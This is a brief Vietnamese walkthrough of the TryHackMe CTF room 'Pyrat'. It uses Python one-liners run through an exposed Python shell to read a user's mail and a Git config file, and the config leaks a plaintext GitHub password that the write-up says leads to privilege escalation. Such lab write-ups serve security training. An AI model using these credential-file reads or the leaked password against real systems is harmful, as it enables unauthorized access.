TryHackMe: Pyrat

Walkthrough challenge Pyrat trên TryHackMe — exploit Python IDLE, Git credential leak, và privilege escalation.

Keyword: Python IDLE, Git, Privilege Escalation

Thông tin quan trọng

Đọc mail của user think:

print(open("/var/mail/think").read())

From root@pyrat  Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
Subject: Hello
To: <think@pyrat>
From: Dbile Admen <root@pyrat>

Hello jose, I wanted to tell you that i have installed the RAT
you posted on your GitHub page, i'll test it tonight so don't be
scared if you see it running. Regards, Dbile Admen

Git Credential Leak

Đọc Git config:

print(open("/opt/dev/.git/config").read())

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
[user]
    name = Jose Mario
    email = josemlwdf@github.com
[credential]
    helper = cache --timeout=3600
[credential "https://github.com"]
    username = think
    password = _TH1NKINGPirate$_

Credentials tìm được → privilege escalation 🎉